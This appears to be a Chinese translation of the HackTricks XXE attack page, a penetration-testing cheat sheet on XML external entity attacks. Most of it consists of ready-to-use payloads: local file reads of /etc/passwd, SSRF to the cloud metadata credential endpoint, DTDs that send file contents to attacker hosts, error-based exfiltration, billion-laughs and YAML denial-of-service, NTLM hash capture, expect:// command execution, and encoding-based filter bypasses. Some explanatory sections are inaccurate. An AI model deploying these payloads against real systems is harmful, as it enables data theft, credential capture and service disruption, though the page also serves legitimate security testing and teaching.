45 KiB
XXE - XEE - XML外部实体
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一家网络安全公司工作吗?想要在HackTricks中看到你的公司广告吗?或者你想要获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFT收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
XML外部实体攻击是针对解析XML输入的应用程序的一种攻击类型。
XML基础知识
本部分大部分内容来自于这个令人惊叹的Portswigger页面: https://portswigger.net/web-security/xxe/xml-entities
什么是XML?
XML代表"可扩展标记语言"。XML是一种用于存储和传输数据的语言。与HTML类似,XML使用标签和数据的树状结构。与HTML不同,XML不使用预定义的标签,因此标签可以被赋予描述数据的名称。在Web的早期历史中,XML作为数据传输格式很流行("AJAX"中的"X"代表"XML")。但是现在它的流行度已经下降,JSON格式更受青睐。
什么是XML实体?
XML实体是一种在XML文档中表示数据项的方式,而不是使用数据本身。各种实体内置于XML语言的规范中。例如,实体<
和>
表示字符<
和>
。这些是用于表示XML标签的元字符,因此当它们出现在数据中时,通常必须使用它们的实体来表示。
什么是XML元素?
元素类型声明设置了XML文档中可能出现的元素的类型和数量的规则,以及哪些元素可以相互包含,以及它们必须出现的顺序。例如:
<!ELEMENT stockCheck ANY>
表示任何对象都可以在父级<stockCheck></stockCheck>
中<!ELEMENT stockCheck EMPTY>
表示它应该是空的<stockCheck></stockCheck>
<!ELEMENT stockCheck (productId,storeId)>
声明<stockCheck>
可以有子元素<productId>
和<storeId>
什么是文档类型定义?
XML文档类型定义(DTD)包含可以定义XML文档结构、它可以包含的数据值类型以及其他项目的声明。DTD在XML文档开头的可选DOCTYPE
元素中声明。DTD可以完全包含在文档本身中(称为"内部DTD"),也可以从其他地方加载(称为"外部DTD"),或者可以是两者的混合。
什么是XML自定义实体?
XML允许在DTD中定义自定义实体。例如:
<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>
这个定义意味着在XML文档中使用实体引用&myentity;
时,它将被替换为定义的值:"my entity value
"。
什么是XML外部实体?
XML外部实体是一种自定义实体,其定义位于声明它们的DTD之外。
外部实体的声明使用SYSTEM
关键字,并且必须指定一个URL,该URL应加载实体的值。例如:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
URL可以使用file://
协议,因此可以从文件中加载外部实体。例如:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
XML外部实体是XML外部实体攻击产生的主要手段。
什么是XML参数实体?
有时,由于应用程序的输入验证或使用的XML解析器的加固,使用常规实体进行的XXE攻击被阻止。在这种情况下,您可能可以改用XML参数实体。XML参数实体是一种特殊类型的XML实体,只能在DTD的其他位置引用。对于当前目的,您只需要知道两件事。首先,XML参数实体的声明在实体名称之前包括百分号字符:
<!ENTITY % myparameterentity "my parameter entity value" >
其次,使用百分号字符而不是通常的和号来引用参数实体:%myparameterentity;
这意味着您可以使用XML参数实体进行盲目XXE测试,通过XML参数实体进行带外检测,如下所示:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
此XXE有效载荷声明了一个名为xxe
的XML参数实体,然后在DTD中使用该实体。这将导致对攻击者域的DNS查找和HTTP请求,以验证攻击是否成功。
主要攻击
这些攻击大部分是使用了强大的Portswiggers XEE实验室进行测试的:https://portswigger.net/web-security/xxe
新实体测试
在这个攻击中,我将测试一个简单的新实体声明是否有效。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
读取文件
让我们尝试以不同的方式读取/etc/passwd
文件。对于Windows,您可以尝试读取:C:\windows\system32\drivers\etc\hosts
在这种情况下,请注意SYSTEM "**file:///**etc/passwd"也可以工作。
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
这个第二个案例对于提取文件应该是有用的,如果Web服务器正在使用PHP(不适用于Portswiggers实验室的情况)
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
在这第三个案例中,请注意我们将Element stockCheck
声明为ANY。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
目录列表
在基于Java的应用程序中,可以通过XXE来列出目录的内容,使用如下的有效载荷(只请求目录而不是文件):
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
SSRF
XXE可以被用来滥用云环境中的SSRF漏洞。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
盲SSRF
使用先前评论的技术,您可以使服务器访问您控制的服务器以显示其存在漏洞。但是,如果这种方法不起作用,可能是因为不允许使用XML实体,在这种情况下,您可以尝试使用XML参数实体:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
"盲" SSRF - 通过外带数据进行数据泄露
在这个例子中,我们将使服务器加载一个带有恶意负载的新DTD,该负载将通过HTTP请求发送文件的内容(对于多行文件,您可以尝试通过ftp://进行外带)。这个解释来自于Portswiggers实验室。
以下是一个恶意DTD的示例,用于外带/etc/hostname
文件的内容:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
这个DTD执行以下步骤:
- 定义一个名为
file
的XML参数实体,其中包含/etc/passwd
文件的内容。 - 定义一个名为
eval
的XML参数实体,其中包含对另一个名为exfiltrate
的XML参数实体的动态声明。exfiltrate
实体将通过向攻击者的Web服务器发出HTTP请求来评估,该请求在URL查询字符串中包含file
实体的值。 - 使用
eval
实体,导致执行exfiltrate
实体的动态声明。 - 使用
exfiltrate
实体,以便通过请求指定的URL来评估其值。
攻击者必须将恶意的DTD托管在他们控制的系统上,通常是通过将其加载到自己的Web服务器上。例如,攻击者可以在以下URL上提供恶意的DTD:
http://web-attacker.com/malicious.dtd
最后,攻击者必须向易受攻击的应用程序提交以下XXE有效载荷:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
这个XXE负载声明了一个名为xxe
的XML参数实体,然后在DTD中使用了这个实体。这将导致XML解析器从攻击者的服务器中获取外部DTD并在内联中解释它。然后执行恶意DTD中定义的步骤,并将/etc/passwd
文件传输到攻击者的服务器。
基于错误的(外部DTD)
在这种情况下,我们将使服务器加载一个恶意的DTD,该DTD将在错误消息中显示文件的内容(仅在您可以看到错误消息时有效)。 从这里获取示例。
您可以使用恶意的外部DTD触发包含/etc/passwd
文件内容的XML解析错误消息,如下所示:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
此DTD执行以下步骤:
- 定义一个名为
file
的XML参数实体,其中包含/etc/passwd
文件的内容。 - 定义一个名为
eval
的XML参数实体,其中包含对另一个名为error
的XML参数实体的动态声明。将通过加载一个不存在的文件来评估error
实体,该文件的名称包含file
实体的值。 - 使用
eval
实体,导致执行error
实体的动态声明。 - 使用
error
实体,以便通过尝试加载不存在的文件来评估其值,从而生成包含不存在文件的名称的错误消息,该名称是/etc/passwd
文件的内容。
使用以下命令调用外部DTD错误:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
错误基础(系统DTD)
那么,当禁止外部连接(无法进行带外交互)时,如何处理盲目XXE漏洞?请参考此处的信息。
在这种情况下,由于XML语言规范中的一个漏洞,仍然可能出现触发包含敏感数据的错误消息的情况。如果文档的DTD使用了内部和外部DTD声明的混合,那么内部DTD可以重新定义在外部DTD中声明的实体。当发生这种情况时,对于在另一个参数实体的定义中使用XML参数实体的限制将被放宽。
这意味着攻击者可以在内部DTD中使用基于错误的XXE技术,前提是他们使用的XML参数实体重新定义了在外部DTD中声明的实体。当然,如果禁止了带外连接,那么外部DTD无法从远程位置加载。相反,它需要是一个位于应用服务器本地的外部DTD文件。基本上,攻击涉及调用恰好存在于本地文件系统上的DTD文件,并将其重新用于以触发包含敏感数据的解析错误的方式重新定义现有实体。
例如,假设服务器文件系统上的位置/usr/local/app/schema.dtd
上有一个DTD文件,并且该DTD文件定义了一个名为custom_entity
的实体。攻击者可以通过提交以下混合DTD来触发一个包含/etc/passwd
文件内容的XML解析错误消息:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
这个DTD执行以下步骤:
- 定义一个名为
local_dtd
的XML参数实体,其中包含存在于服务器文件系统上的外部DTD文件的内容。 - 重新定义了名为
custom_entity
的XML参数实体,该实体已在外部DTD文件中定义。该实体被重新定义为包含基于错误的XXE利用,用于触发包含/etc/passwd
文件内容的错误消息。 - 使用
local_dtd
实体,以便解释外部DTD,包括custom_entity
实体的重新定义值。这将导致所需的错误消息。
**真实世界的例子:**使用GNOME桌面环境的系统通常在/usr/share/yelp/dtd/docbookx.dtd
中包含一个名为ISOamso
的实体。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
由于这种技术使用了内部 DTD,你首先需要找到一个有效的 DTD。你可以通过安装与服务器使用的操作系统/软件相同的系统,并搜索一些默认的 DTD,或者获取一个系统内默认 DTD 的列表,然后检查是否存在其中之一:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
在系统中查找DTDs
在下面这个令人惊叹的 GitHub 仓库中,您可以找到系统中可能存在的DTDs的路径:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
此外,如果您拥有受害系统的Docker镜像,您可以使用同一仓库中的工具来扫描该镜像并查找系统中存在的DTDs的路径。请阅读GitHub的Readme以了解更多信息。
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
通过 Office Open XML 解析器进行 XXE 攻击
(从这里复制)
许多网络应用程序允许您上传 Microsoft Office 文档,然后解析其中的一些细节。例如,您可能有一个允许您通过上传 XLSX 格式的电子表格来导入数据的网络应用程序。在某个时候,为了从电子表格中提取数据,解析器将需要解析至少一个 XML 文件。
唯一的测试方法是生成一个包含 XXE 载荷的Microsoft Office 文件,让我们来做这个。首先,创建一个空目录来解压您的文档,并解压它!
test$ ls
test.docx
test$ mkdir unzipped
test$ unzip ./test.docx -d ./unzipped/
Archive: ./test.docx
inflating: ./unzipped/word/numbering.xml
inflating: ./unzipped/word/settings.xml
inflating: ./unzipped/word/fontTable.xml
inflating: ./unzipped/word/styles.xml
inflating: ./unzipped/word/document.xml
inflating: ./unzipped/word/_rels/document.xml.rels
inflating: ./unzipped/_rels/.rels
inflating: ./unzipped/word/theme/theme1.xml
inflating: ./unzipped/[Content_Types].xml
在您喜欢的文本编辑器(如vim)中打开./unzipped/word/document.xml
文件,并编辑XML以包含您喜欢的XXE有效负载。我通常尝试的第一件事是发送一个HTTP请求,就像这样:
<!DOCTYPE x [ <!ENTITY test SYSTEM "http://[ID].burpcollaborator.net/"> ]>
<x>&test;</x>
这些行应该插入在两个根XML对象之间,就像这样,当然你需要用一个你可以监视请求的URL来替换它:
现在只需要将文件压缩成你的恶意poc.docx文件。从之前创建的“解压缩”目录中,运行以下命令:
现在将文件上传到你(希望)存在漏洞的Web应用程序中,并祈祷黑客之神在你的Burp Collaborator日志中出现请求。
Jar: 协议
jar
协议仅适用于Java应用程序。它允许访问PKZIP文件(.zip
,.jar
,...)中的文件,并适用于本地和远程文件:
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
{% hint style="danger" %} 能够访问PKZIP文件内部的文件非常有用,可以通过系统DTD文件滥用XXE。查看此部分以了解如何滥用系统DTD文件。 {% endhint %}
幕后
- 它发送HTTP请求以加载zip归档文件。
https://download.host.com/myarchive.zip
- 它将HTTP响应保存到临时位置。
/tmp/...
- 它解压缩归档文件。
- 它读取
file.zip
- 它删除临时文件。
请注意,可以在第二步停止流程。诀窍是在提供文件时永远不要关闭连接。这些工具可能很有用:一个是Python的slow_http_server.py
,另一个是Java的slowserver.jar
。
一旦服务器下载了您的文件,您需要通过浏览临时目录来找到其位置。由于路径是随机的,无法提前预测文件路径。
{% hint style="danger" %} 在临时目录中写入文件可以帮助升级涉及路径遍历的另一个漏洞(例如本地文件包含、模板注入、XSLT RCE、反序列化等)。 {% endhint %}
XSS
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
DoS
十亿笑攻击
A Billion Laugh Attack is a type of Denial of Service (DoS) attack that targets XML parsers by exploiting the XML External Entity (XXE) vulnerability. This attack can cause the targeted system to consume excessive resources, leading to a denial of service.
In a Billion Laugh Attack, the attacker crafts a malicious XML file that contains a large number of nested entity references. These references are designed to recursively expand, creating an exponential growth in the size of the XML document. When the XML parser attempts to process this file, it gets overwhelmed and consumes significant CPU and memory resources, ultimately causing the system to crash or become unresponsive.
To mitigate the risk of a Billion Laugh Attack, it is important to implement proper input validation and sanitization techniques when processing XML data. Additionally, disabling external entity resolution in XML parsers can help prevent this type of attack.
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
Yaml攻击
YAML(YAML Ain't Markup Language)是一种用于序列化数据的格式,常用于配置文件。由于其易读性和易用性,YAML在许多应用程序中被广泛使用。然而,当应用程序在处理YAML数据时存在安全漏洞时,攻击者可以利用这些漏洞进行YAML攻击。
YAML攻击是一种外部实体注入(XXE)攻击的变体,攻击者通过在YAML数据中插入恶意实体来利用应用程序的漏洞。攻击者可以利用YAML解析器的功能,读取敏感文件、执行远程请求或进行其他恶意操作。
以下是一些常见的YAML攻击技术:
-
外部实体注入(XXE)攻击:攻击者通过在YAML数据中插入外部实体引用,可以读取敏感文件、执行命令或进行其他恶意操作。
-
远程代码执行(RCE)攻击:攻击者可以通过在YAML数据中插入可执行代码,远程执行恶意代码。
-
文件读取攻击:攻击者可以通过在YAML数据中插入文件路径,读取敏感文件的内容。
-
服务器端请求伪造(SSRF)攻击:攻击者可以通过在YAML数据中插入恶意URL,迫使应用程序发起未经授权的请求。
为了防止YAML攻击,开发人员应该采取以下措施:
-
使用安全的YAML解析器,如Jackson、SnakeYAML等,并确保及时更新解析器的版本。
-
验证和过滤用户输入,特别是在解析YAML数据之前。
-
配置应用程序的安全策略,限制对敏感文件和远程资源的访问。
-
对于不信任的YAML数据,禁用外部实体引用和可执行代码的解析。
-
定期进行安全审计和漏洞扫描,及时修复发现的漏洞。
通过了解YAML攻击的原理和防范措施,开发人员可以更好地保护应用程序免受此类攻击的威胁。
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
二次方爆炸攻击
获取NTML
在Windows主机上,可以通过设置responder.py处理程序来获取Web服务器用户的NTML哈希值:
Responder.py -I eth0 -v
通过发送以下请求
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
然后你可以尝试使用hashcat破解哈希值
隐藏的XXE漏洞
XInclude
一些应用程序接收客户端提交的数据,将其嵌入到服务器端的XML文档中,然后解析该文档。一个例子是将客户端提交的数据放入后端SOAP请求中,然后由后端SOAP服务处理。
在这种情况下,你无法进行经典的XXE攻击,因为你无法控制整个XML文档,因此无法定义或修改DOCTYPE
元素。然而,你可能可以使用XInclude
。XInclude
是XML规范的一部分,允许从子文档构建XML文档。你可以在XML文档中的任何数据值中放置一个XInclude
攻击,因此可以在只控制放入服务器端XML文档的单个数据项的情况下执行攻击。
要执行XInclude
攻击,你需要引用XInclude
命名空间并提供要包含的文件的路径。例如:
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
SVG - 文件上传
一些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用XML或包含XML子组件。XML基于格式的示例包括DOCX等办公文档格式和SVG等图像格式。
例如,一个应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序期望接收像PNG或JPEG这样的格式,正在使用的图像处理库可能支持SVG图像。由于SVG格式使用XML,攻击者可以提交恶意的SVG图像,从而为XXE漏洞达到隐藏的攻击面。
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
您还可以尝试使用PHP的"expect"包装器来执行命令:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
注意:读取文件的第一行或执行结果将出现在创建的图像内部。因此,您需要能够访问SVG创建的图像。
PDF - 文件上传
阅读以下文章以了解如何利用上传PDF文件的XXE漏洞:
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}
Content-Type: 从x-www-urlencoded到XML
如果POST请求接受XML格式的数据,您可以尝试利用该请求中的XXE漏洞。例如,如果正常请求包含以下内容:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
那么你可能能够提交以下请求,结果相同:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
Content-Type: 从 JSON 到 XEE
要更改请求,您可以使用一个名为“Content Type Converter”的 Burp 扩展。在这里您可以找到这个示例:
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
可以在这里找到另一个例子。
WAF和保护绕过
Base64
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
这只适用于XML服务器接受data://
协议的情况。
UTF-7
您可以在此处使用["Encode Recipe" of cyberchef here ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)将其转换为UTF-7。
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
文件协议绕过
如果网站使用PHP,可以使用php wrappers php://filter/convert.base64-encode/resource=
来访问内部文件,而不是使用 file:/
。
如果网站使用Java,可以查看jar协议。
HTML实体
从https://github.com/Ambrotd/XXE-Notes中的技巧
您可以创建一个嵌套实体,使用HTML实体进行编码,然后调用它来加载DTD。
请注意,所使用的HTML实体需要是数字的(例如[在此示例中](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric%20entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\)。
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>
DTD示例:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
在上面的示例中,我们定义了一个名为foo
的实体,并将其值设置为file:///etc/passwd
。然后,我们在XML文档中引用了这个实体&xxe;
。当解析器尝试解析&xxe;
时,它将尝试从file:///etc/passwd
中读取内容,并将其插入到<foo>
元素中。
这种技术可以用于读取敏感文件,如密码文件,从而导致信息泄漏。
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
PHP包装器
Base64
提取 index.php
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
提取外部资源
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
远程代码执行
如果加载了PHP的"expect"模块
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
SOAP - XEE
SOAP(Simple Object Access Protocol)是一种用于在网络上交换结构化信息的协议。它使用XML(可扩展标记语言)作为消息格式,并通过HTTP(超文本传输协议)进行传输。然而,由于SOAP的设计缺陷,它容易受到XXE(XML外部实体)攻击的影响。
XXE攻击利用了XML解析器的漏洞,允许攻击者读取或执行远程文件,甚至可能导致服务器被完全控制。攻击者可以通过在XML文档中插入恶意实体来触发XXE漏洞。
以下是一些常见的XXE攻击向量:
-
内部实体注入(Internal Entity Injection):攻击者通过在XML文档中插入恶意实体来读取敏感文件或执行任意命令。
-
外部实体注入(External Entity Injection):攻击者通过在XML文档中引用外部实体来读取远程文件或执行远程请求。
-
参数实体注入(Parameter Entity Injection):攻击者通过在DTD(文档类型定义)中定义参数实体来读取敏感文件或执行任意命令。
为了防止XXE攻击,可以采取以下措施:
-
禁用外部实体解析:在XML解析器中禁用外部实体解析,以防止攻击者读取或执行远程文件。
-
使用白名单过滤输入:对于接受XML输入的应用程序,使用白名单过滤来限制允许的实体和DTD。
-
使用安全的XML解析器:选择使用安全的XML解析器,以减少XXE漏洞的风险。
-
更新和修补软件:及时更新和修补使用的XML解析器和相关软件,以修复已知的漏洞。
总之,了解XXE攻击并采取适当的防护措施是保护应用程序免受此类攻击的关键。
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
XLIFF - XXE
本节内容摘自https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe
根据Wikipedia的定义:
XLIFF(XML Localization Interchange File Format)是一种基于XML的双文本格式,旨在标准化本地化过程中可本地化数据在工具之间传递的方式,并为CAT工具交换提供一种通用格式。
盲目请求
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
服务器返回了一个错误:
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
但我们在Burp Collaborator上获得了一个命中。
通过带外通道泄露数据
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
根据burp collaborator返回的显示的用户代理,看起来它正在使用Java 1.8。在利用这个Java版本上的XXE时,一个问题是我们无法使用带有New Line
的文件,比如/etc/passwd
,通过外带技术来获取。
通过错误基础泄露数据
DTD文件:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
服务器响应:
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
太好了!non-exist
文件在错误消息中被反射出来。接下来是添加文件内容。
DTD 文件:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
并且文件的内容已成功通过HTTP发送的错误输出打印出来。
RSS - XEE
有效的XML格式,用于利用XXE漏洞。
回显
向攻击者服务器发送的简单HTTP请求
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
